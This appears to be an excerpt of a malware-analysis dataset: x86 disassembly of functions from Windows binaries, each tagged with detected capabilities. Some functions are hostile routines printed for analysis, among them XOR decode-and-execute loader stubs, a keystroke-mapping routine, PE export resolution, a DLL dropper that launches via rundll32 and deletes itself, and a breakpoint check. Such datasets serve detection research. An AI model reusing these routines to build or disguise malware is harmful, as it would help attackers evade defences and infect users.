joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48b2e0
Capabilities:
Get disk size

Disassembly:
push esi
push ebx
sub esp, 0x34
lea eax, [esp + 0x28]
mov dword [esp + 0x18], 0
mov ebx, dword [esp + 0x50]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x20]
mov dword [esp + 8], eax
lea eax, [esp + 0x18]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
sub esp, 0x10
test eax, eax
je 0x48b3a8
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
mov eax, esi
or eax, ecx
je 0x48b35c
mov eax, dword [esp + 0x44]
mov dword [eax], esi
mov dword [eax + 4], ecx
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov eax, esi
or eax, ecx
je 0x48b373
mov eax, dword [esp + 0x48]
mov dword [eax], esi
mov dword [eax + 4], ecx
mov esi, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov eax, esi
or eax, ecx
jne 0x48b398
call fcn.004ae5d0
mov dword [ebx], 0
mov dword [ebx + 4], eax
add esp, 0x34
pop ebx
pop esi
ret
mov eax, dword [esp + 0x4c]
mov dword [eax], esi
mov dword [eax + 4], ecx
jmp 0x48b381
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call fcn.004ae5d0
mov dword [ebx], esi
mov dword [ebx + 4], eax
add esp, 0x34
pop ebx
pop esi
ret

Function at 0x4901d0
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x1c
mov edi, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
mov eax, dword [ebx]
mov dword [esp], eax
call sub.msvcrt.dll__fileno
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.msvcrt.dll__read
mov ebp, eax
cmp eax, 0xffffffff
je 0x490210
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8
call dword [sym.imp.msvcrt.dll__errno]
cmp dword [eax], 4
je 0x4901e1
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x1687836
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
jmp 0x16f82f8
js 0x16f82f8
jmp 0xddcc93
xor ebx, ebx
jmp 0x16d05c0
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jmp 0x16c9fe2
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
lea esp, [esp - 0x114]
test edi, esp
cmp edi, 0x715b3acb
push esi
test ecx, ecx
jmp 0x16fc671
jne 0x171532b
mov edx, dword [eax + ecx + 0x78]
test di, 0x3fb6
clc
mov dword [ebp - 4], edx
cmp si, 0x5291
cmp esi, ecx
stc
test edx, edx
je 0x171532b
mov eax, dword [eax + ecx + 0x7c]
cmp esp, 0x188d5068
test di, si
push ebx
push edi
test sp, 0x544c
stc
mov dword [ebp - 0x10], eax
cmp di, 0x2733
clc
mov dword [ebp - 8], 0xffffffff
cmp edi, ebx
cmp esi, 0xffff
jmp 0x16f9a3d
dec edi
jmp 0x177dd8b
ja 0x171d28e
mov eax, esi
sub eax, dword [edx + ecx + 0x10]
mov dword [ebp - 8], eax
jmp 0xdf8af7
je 0x171532b
mov esi, dword [ebp + 0xc]
stc
test esi, esi
jmp 0x1715315
je 0x171532b
mov eax, 0x5a4d
cmp edi, ebp
cmp word [ecx], ax
je 0x14f8c5e
xor eax, eax
pop esi
mov esp, ebp
xchg ebp, ebp
bswap ebp
pop ebp
jmp 0x171bf77
ret
mov edi, dword [edx + ecx + 0x18]
test edi, edi
jmp 0x177ec70
mov dword [ebp - 0xc], eax
jmp 0xdfde06
je 0x16f82f8
mov eax, dword [edx + ecx + 0x20]
add eax, ecx
clc
test bp, ax
jmp 0xeb244b
Function at 0x4072c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x4072cf
pop dword [ebp - 0x44]
mov eax, 0x3ba5dff4
sub eax, 0x3b656d25
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xc5a94cc0
add dword [ebp - 0x54], 0x88a8f88b
mov dword [ebp - 0x50], 0x71f2310b
add dword [ebp - 0x50], 0xc0411b3a
mov dword [ebp - 0x4c], 0x18cd1621
add dword [ebp - 0x4c], 0x337f2e0d
mov dword [ebp - 0x48], 0xa728645
sub dword [ebp - 0x48], 0xa728645
lea eax, [ebp - 0x54]
push eax
mov eax, 0xd8fd1552
sub eax, 0xd8bbd4c2
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xc2b5b2e4
add dword [ebp - 0x54], 0xb1bcb672
mov dword [ebp - 0x50], 0x5d91cf27
sub dword [ebp - 0x50], 0x1c256db2
mov dword [ebp - 0x4c], 0xcabc7124
add dword [ebp - 0x4c], 0x98b2fb48
mov dword [ebp - 0x48], 0xbe2b761
add dword [ebp - 0x48], 0xf41d489f
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3bd95
push 0
call eax
mov ecx, 0xd6cc9aed
add ecx, 0x2933ab69
mov ebx, eax
mov edi, 0xb10cfbf8
sub edi, 0xb0cb3bf8
add edi, dword [ebp - 0x44]
mov edx, 0xfcf447c
sub dword [ebp - 0x18], 0x942fbf04
mov esi, dword [edi]
sub dword [ebp - 0xc], 0xb99bedae
add esi, edx
add dword [ebp - 0xc], esi
mov dword [ebx], esi
xor dword [ebp - 0x1c], 0x33cf7ac2
add ebx, 4
add edi, 4
loop 0x4073e6
add eax, 0x8691f0cb
add eax, 0x796f1b60
mov ebx, eax
add eax, 0x560e4ca5
add eax, 0xa9f1b360
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x410b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x410bac
mov dword [eax], ecx
jmp 0x410bae
mov eax, ecx
push ecx
push ecx
push esi
push 0x410c20
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x1001c671
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1001c680
pop dword [ebp - 0x1c]
mov eax, 0xa44986c9
sub eax, 0x9447c049
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xb66997e5
sub dword [ebp - 0x2c], 0x6817529a
mov dword [ebp - 0x28], 0x9430032c
sub dword [ebp - 0x28], 0x61fcb6e7
mov dword [ebp - 0x24], 0x2cc0f862
add dword [ebp - 0x24], 0x1f8b4bcc
mov dword [ebp - 0x20], 0x7f7c7dab
add dword [ebp - 0x20], 0x80838255
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x427f4ff4
sub eax, 0x327afef0
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xbdba7f1c
add dword [ebp - 0x2c], 0xb6b7ea3a
mov dword [ebp - 0x28], 0x4496597c
sub dword [ebp - 0x28], 0x329f807
mov dword [ebp - 0x24], 0x2fd62b0b
sub dword [ebp - 0x24], 0xcc66be9f
mov dword [ebp - 0x20], 0xb2f195d1
add dword [ebp - 0x20], 0x4d0e6a2f
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x3e351e97
add eax, 0xd1cf3221
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x49f62
push 0
call eax
mov ecx, 0x42bc64c2
add ecx, 0xbd43e196
mov edi, eax
mov ebx, 0x907088d5
add ebx, 0x7f96c72b
add ebx, dword [ebp - 0x1c]
mov edx, 0x3155010c
add edx, 0x180f4cf6
xor dword [ebp - 0xc], ebx
mov esi, dword [ebx]
mov dword [ebp - 0x18], 0xcb3aa839
sub esi, edx
add dword [ebp - 0x14], ecx
mov dword [edi], esi
add dword [ebp - 0x10], 0x7c10a73
add edi, 0xba648ec6
add edi, 0x459b713e
add ebx, 0x47a67b32
add ebx, 0xb85984d2
loop 0x1001c7a2
add eax, 0x7f42576c
add eax, 0x80beb4c7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x66d043f
add ecx, 0x992fbc1
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x402c00
pop dword [ebp - 0x1c]
mov eax, 0xa36adeb0
sub eax, 0xa32ab2b0
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xe73dbc0a
sub dword [ebp - 0x2c], 0x98eb76bf
mov dword [ebp - 0x28], 0x9f13ad77
add dword [ebp - 0x28], 0x931f9ece
mov dword [ebp - 0x24], 0x90418e4f
add dword [ebp - 0x24], 0xbc0ab5df
mov dword [ebp - 0x20], 0x3eb384d9
add dword [ebp - 0x20], 0xc14c7b27
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x23ebbb3c
add dword [ebp - 0x2c], 0x5086ae1a
mov dword [ebp - 0x28], 0xfdc3be99
sub dword [ebp - 0x28], 0xbc575d24
mov dword [ebp - 0x24], 0x176cc9ae
sub dword [ebp - 0x24], 0xb3fd5d42
mov dword [ebp - 0x20], 0xfc2be79d
add dword [ebp - 0x20], 0x3d41863
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3903a
push 0
call eax
mov ecx, 0x599ffbed
sub ecx, 0x599faaa0
xor edi, edi
add edi, eax
mov ebx, 0x86cfaafd
add ebx, 0x79716503
add ebx, dword [ebp - 0x1c]
mov esi, 0xff2d6aba
add esi, 0x27314c16
xor dword [ebp - 8], edi
mov edx, dword [ebx]
mov dword [ebp - 0x10], 0x9592b283
add edx, esi
add dword [ebp - 0x18], esi
mov dword [edi], edx
sub dword [ebp - 0x18], 0xad44964d
add edi, 0xd48e427d
add edi, 0x2b71bd87
add ebx, 0x94268912
add ebx, 0x6bd976f2
loop 0x402d1a
add eax, 0x13807
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401025
lea ecx, [esp + 0xc]
push 0
push ecx
push 0x12000
push 0x404010
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401043
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret

Function at 0x401120
Capabilities:
Create directory

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4021c8
push eax
mov dword fs:[0], esp
push esi
mov esi, dword [esp + 0x14]
push 0
mov eax, dword [esi]
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
jne 0x40119a
mov eax, dword [esi]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x40119a
push 0x5c
mov ecx, esi
call sub.MFC42.DLL_CString::ReverseFind
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call sub.MFC42.DLL_CString::Left
push eax
mov dword [esp + 0x10], 0
call fcn.00401120
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0xc], 0xffffffff
call fcn.0040200c
mov edx, dword [esi]
push edx
call dword [sym.imp.MSVCRT.dll__mkdir]
add esp, 4
mov ecx, dword [esp + 4]
pop esi
mov dword fs:[0], ecx
add esp, 0xc
ret

Function at 0x401210
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40122e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x40122e
xor eax, eax
ret
mov eax, 1
ret

Function at 0x4015d0
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
mov esi, ecx
push str.ADVAPI32.dll
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 0x20], eax
test eax, eax
je 0x401616
push str.RegOpenKeyExA
push eax
call edi
mov dword [esi + 8], eax
mov eax, dword [esi + 0x20]
push str.RegQueryValueExA
push eax
call edi
mov ecx, dword [esi + 0x20]
push str.RegCloseKey
push ecx
mov dword [esi + 0xc], eax
call edi
mov dword [esi + 0x10], eax
push str.kernel32.dll
call ebx
test eax, eax
mov dword [esi + 0x24], eax
je 0x40164b
push str.ReleaseMutex
push eax
call edi
mov edx, dword [esi + 0x24]
push str.CreateMutexA
push edx
mov dword [esi + 0x18], eax
call edi
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x24]
push str.GetVersionExA
push eax
call edi
mov dword [esi + 0x1c], eax
push str.shell32.dll
call ebx
test eax, eax
mov dword [esi + 0x28], eax
je 0x401664
push str.ShellExecuteA
push eax
call edi
mov dword [esi + 4], eax
pop edi
pop esi
mov eax, 1
pop ebx
ret
Function at 0x401ab0
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file
Query environment variable

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4021eb
push eax
mov dword fs:[0], esp
sub esp, 0x304
push ebx
push esi
push edi
push 0x946
push 0x32c
mov edi, ecx
push str.2kd9212
call fcn.00401a60
push 0x946
push 0x32c
push str.2kd9212
call fcn.00401240
add esp, 0x18
mov ecx, edi
call fcn.00401680
test eax, eax
jne 0x401cf2
mov eax, dword [0x416074]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push 0x416078
push eax
push str.2kd9212
lea ecx, [esp + 0x2b8]
push str._s:_d:_s
push ecx
call ebx
add esp, 0x14
lea edx, [esp + 0x2ac]
push edx
push 0
push 0
call dword [edi + 0x14]
mov esi, eax
test esi, esi
je 0x401b58
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401cf9
push esi
call dword [edi + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [esp + 0x10]
push 0x104
push eax
push 0x4161c0
call esi
lea ecx, [esp + 0x10]
push ecx
call fcn.00401210
add esp, 4
test eax, eax
jne 0x401c14
lea edx, [esp + 0x114]
mov dword [esp + 0x114], 0x94
push edx
call dword [edi + 0x1c]
cmp dword [esp + 0x124], 2
jne 0x401bb9
cmp dword [esp + 0x118], 6
jae 0x401c03
lea eax, [esp + 0x10]
lea ecx, [esp + 0xc]
push eax
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov dword [esp + 0x318], 0
push ecx
call fcn.00401120
add esp, 4
lea ecx, [esp + 0xc]
mov dword [esp + 0x318], 0xffffffff
call fcn.0040200c
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401c14
lea eax, [esp + 0x10]
push 0x104
push eax
push str._Temp__
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 0x10]
push eax
push ecx
lea edx, [esp + 0x1b0]
push str._s_d.txt
push edx
call ebx
lea eax, [esp + 0x1b8]
push eax
call fcn.004013c0
add esp, 0x14
test al, al
je 0x401cf2
lea ecx, [esp + 0x1a8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401ce9
mov eax, dword [0x4161bc]
test eax, eax
je 0x401c86
push str.MainThread
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
lea edx, [esp + 0x1a8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x401ce2
push str.Install
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401ce2
lea ecx, [esp + 0x1a8]
push ecx
call eax
test eax, eax
jne 0x401ce2
lea edx, [esp + 0x1a8]
lea eax, [esp + 0x10]
push edx
push str.___s__MainThread
push eax
call ebx
add esp, 0xc
lea ecx, [esp + 0x10]
push 0
push 0
push ecx
push str.rundll32.exe
push str.open
push 0
call dword [edi + 4]
push 4
lea edx, [esp + 0x14]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x4161b4]
test eax, eax
jne 0x401cf9
mov ecx, edi
call fcn.00401670
mov ecx, dword [esp + 0x310]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x310
ret
Function at 0x407100
Capabilities:
Hash data using murmur3

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4072fe
sub esp, 0x10
movzx eax, byte [0xc6ba5d]
test al, al
jne 0x4072d6
mov eax, dword [0xc6bdf0]
mov ecx, dword [esp + 0x1c]
imul eax, ecx
mov edx, dword [esp + 0x18]
add eax, edx
mov ebx, dword [esp + 0x14]
jmp 0x4071a6
mov edx, dword [ebx]
xor edx, eax
imul eax, edx, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
mov edx, dword [ebx + 4]
xor edx, ebp
imul edx, edx, 0xc70f85e1
rol edx, 0xf
imul ebp, edx, 0x319bca41
mov edx, dword [ebx + 8]
xor edx, esi
imul edx, edx, 0x319bca41
rol edx, 0xf
imul esi, edx, 0x8b421a21
mov edx, dword [ebx + 0xc]
xor edx, edi
imul edx, edx, 0x8b421a21
rol edx, 0xf
imul edi, edx, 0xbce2d621
nop
add ecx, 0xfffffff0
add ebx, 0x10
mov edx, dword [esp + 0x18]
cmp ecx, 0x10
jae 0x407141
xor eax, ebp
xor eax, esi
xor eax, edi
test ecx, ecx
je 0x40723a
cmp ecx, 4
jb 0x4072a4
je 0x40728f
cmp ecx, 8
jbe 0x407263
cmp ecx, 0x10
jbe 0x4071e8
mov ebp, dword [0xc6bdf4]
imul ebp, edx
mov esi, dword [0xc6bdf8]
imul esi, edx
mov edi, dword [0xc6bdfc]
imul edi, edx
jmp 0x40719b
mov edx, ebx
lea ebp, [ecx + ebx - 8]
lea ecx, [ecx + ebx - 4]
mov ebx, dword [edx]
xor eax, ebx
imul eax, eax, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
xor eax, dword [edx + 4]
imul eax, eax, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
xor eax, dword [ebp]
imul eax, eax, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
xor eax, dword [ecx]
imul eax, eax, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
mov ecx, eax
shr eax, 0x11
xor ecx, eax
imul eax, ecx, 0x319bca41
mov ecx, eax
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0x8b421a21
mov ecx, eax
shr eax, 0x10
xor eax, ecx
mov dword [esp + 0x20], eax
add esp, 0x10
ret
mov edx, ebx
lea ecx, [ecx + ebx - 4]
mov edx, dword [edx]
xor eax, edx
imul edx, eax, 0xbce2d621
rol edx, 0xf
imul edx, edx, 0xc70f85e1
xor edx, dword [ecx]
imul ecx, edx, 0xbce2d621
rol ecx, 0xf
imul eax, ecx, 0xc70f85e1
jmp 0x40723a
mov ecx, dword [ebx]
xor eax, ecx
imul ecx, eax, 0xbce2d621
rol ecx, 0xf
imul eax, ecx, 0xc70f85e1
jmp 0x40723a
mov edx, ebx
lea ebx, [ecx + ebx - 1]
movzx ebp, byte [edx]
xor eax, ebp
shr ecx, 1
movzx ecx, byte [edx + ecx]
shl ecx, 8
xor ecx, eax
movzx edx, byte [ebx]
shl edx, 0x10
xor edx, ecx
imul ecx, edx, 0xbce2d621
rol ecx, 0xf
imul eax, ecx, 0xc70f85e1
jmp 0x40723a
mov eax, dword [esp + 0x14]
mov dword [esp], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 8], eax
call fcn.00451c60
mov eax, dword [esp + 0xc]
mov dword [esp + 0x20], eax
add esp, 0x10
ret
call fcn.004507b0
jmp fcn.00407100
Function at 0x40aa00
Capabilities:
Decompress data using quicklz

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40ac0c
sub esp, 0x44
mov eax, dword [esp + 0x48]
cmp eax, 0x7000000
jle 0x40abdf
mov eax, 0x7000000
mov dword [esp + 0x48], eax
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov edx, dword [ecx + 0x90]
mov ebx, dword [ecx + 0x94]
mov dword [ecx + 0x90], ebx
mov ebp, edx
shl edx, 0x11
xor edx, ebp
mov ebp, ebx
xor ebx, edx
shr edx, 7
xor edx, ebx
mov ebx, ebp
shr ebp, 0x10
xor ebp, edx
mov dword [ecx + 0x94], ebp
lea ecx, [ebp + ebx]
and ecx, 0x3ffffff
inc ecx
mov dword [esp], ecx
call fcn.00451fa0
fld qword [esp + 4]
fld st(0)
fstp qword [esp + 0x2c]
mov eax, dword [esp + 0x30]
mov ecx, eax
shr eax, 0x14
and eax, 0x7ff
mov edx, eax
add eax, 0xfffffc01
mov ebx, ecx
shr ecx, 0xf
and ecx, 0x1f
mov ebp, ecx
add ecx, 1
mov esi, 0
adc esi, 0
mov edi, dword [esp + 0x2c]
shr edi, 0x1b
shl ebx, 5
or edi, ebx
test esi, esi
fstp st(0)
jne 0x40abff
cmp ecx, 0x21
jae 0x40abf3
mov dword [esp + 0x10], edi
lea ebx, [0xc1ed40]
fld qword [ebx + ebp*8]
fld st(0)
fstp qword [esp + 0x1c]
fld qword [ebx + ecx*8]
fld st(0)
fstp qword [esp + 0x24]
mov dword [esp], eax
add edx, 0xfffffc01
mov eax, 0xffffffff
adc eax, 0
mov dword [esp + 4], eax
fstp st(0)
fstp st(0)
call fcn.0044c790
mov eax, dword [esp + 0x10]
and eax, 0xfffff
fld qword [esp + 8]
fld st(0)
fstp qword [esp + 0x3c]
mov dword [esp], eax
mov dword [esp + 4], 0
fstp st(0)
call fcn.0044c880
fld qword [esp + 0x3c]
fld qword [esp + 0x1c]
fld st(0)
faddp st(2)
fld qword [esp + 0x24]
fld st(1)
fsubp st(1)
fld qword [esp + 8]
fstp st(2)
fld st(1)
fmulp st(1)
fld qword [0x966ba0]
fstp st(2)
fld st(0)
fmulp st(2)
fld st(1)
faddp st(3)
fld qword [0x966c48]
fstp st(2)
fld st(1)
fsubp st(3)
fld st(2)
fstp qword [esp + 0x14]
fldz
fstp st(2)
fld st(2)
fucomp st(2)
mov dword [esp + 0x34], eax
fnstsw ax
sahf
mov eax, dword [esp + 0x34]
fstp st(0)
fstp st(0)
fstp st(0)
jbe 0x40ab9a
fldz
fld st(0)
fstp qword [esp + 0x14]
fstp st(0)
mov eax, dword [esp + 0x48]
mov dword [esp + 0x34], eax
fild dword [esp + 0x34]
fld qword [0x966ce8]
fld st(0)
fmulp st(2)
fld qword [esp + 0x14]
fstp st(1)
fld st(1)
fmulp st(1)
fld st(0)
fnstcw word [esp + 0x38]
fldcw word [0xc161cc]
fistp dword [esp + 0x34]
mov eax, dword [esp + 0x34]
fldcw word [esp + 0x38]
inc eax
mov dword [esp + 0x4c], eax
fstp st(0)
fstp st(0)
add esp, 0x44
ret
test eax, eax
jne 0x40aa2d
mov dword [esp + 0x4c], 0
add esp, 0x44
ret
mov eax, ecx
mov ecx, 0x21
call fcn.00452080
mov eax, ecx
mov ecx, 0x21
call fcn.00452160
nop
call fcn.004507b0
jmp fcn.0040aa00
Function at 0x414a10
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x414c2c
sub esp, 0x18
mov eax, dword [0xc6bb2c]
test eax, eax
jne 0x414c15
lea eax, [0xc6bb18]
mov dword [esp], eax
call fcn.004088c0
mov eax, dword [0xc57490]
test eax, eax
je 0x414a5c
cmp dword [eax + 8], 0xcc
jne 0x414b24
mov edx, dword [0xc57488]
test edx, edx
jne 0x414b06
mov dword [esp], 0x1000
mov dword [esp + 4], 0
lea eax, [0xc6ddb8]
mov dword [esp + 8], eax
call fcn.0040ac20
mov eax, dword [esp + 0xc]
mov dword [0xc57488], eax
mov ecx, dword [0xc57464]
mov dword [eax], ecx
mov eax, dword [0xc57488]
mov dword [0xc57464], eax
movzx eax, byte [0xc6c120]
test al, al
jne 0x414b06
xor eax, eax
jmp 0x414ac3
lea esi, [0xc6c120]
xchg ebp, eax
mov byte [esi + ebx], al
xchg ebp, eax
lea eax, [ebx + 1]
cmp eax, 0x80
jge 0x414b06
mov ecx, eax
mov eax, 0xcccccccd
imul ecx
add edx, ecx
sar edx, 2
mov eax, ecx
sar ecx, 0x1f
sub edx, ecx
lea edx, [edx + edx*4]
mov ebx, eax
sub eax, edx
cmp eax, 5
jae 0x414c0b
lea edx, [0xc16250]
movzx ebp, byte [edx + eax]
cmp ebx, 0x80
jb 0x414ab5
jmp 0x414bff
mov edx, dword [0xc57488]
mov ebx, dword [edx + 4]
mov dword [0xc57488], ebx
mov ebx, dword [0xc57490]
mov dword [edx + 4], ebx
mov dword [0xc57490], edx
mov edx, dword [0xc57490]
mov eax, dword [edx + 8]
cmp eax, 0xcc
jae 0x414bf5
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
lea eax, [edx + 8]
mov dword [esp], eax
mov dword [esp + 4], 1
call fcn.00402030
mov eax, dword [esp + 0x10]
lea eax, [eax + eax*4]
mov ecx, dword [esp + 0x14]
lea edi, [ecx + eax*4 + 0x10]
mov edx, dword [0xc6be00]
lea ebx, [ecx + eax*4 + 0x1c]
lea ebp, [ecx + eax*4 + 0x20]
lea esi, [ecx + eax*4 + 0x14]
test edx, edx
jne 0x414be6
mov edx, dword [esp + 0x20]
mov dword [ecx + eax*4 + 0x10], edx
mov edx, dword [esp + 0x24]
mov dword [ecx + eax*4 + 0x18], edx
mov edx, dword [0xc6be00]
test edx, edx
jne 0x414bc3
mov edx, dword [esp + 0x28]
mov dword [ecx + eax*4 + 0x1c], edx
mov edx, dword [esp + 0x2c]
mov dword [ecx + eax*4 + 0x20], edx
mov edx, dword [esp + 0x1c]
mov dword [ecx + eax*4 + 0x14], edx
mov byte [0xc6ba53], 1
lea eax, [0xc6bb18]
mov dword [esp], eax
call fcn.00408aa0
add esp, 0x18
ret
mov edi, ebx
mov eax, dword [esp + 0x28]
call fcn.00451ff0
mov edi, ebp
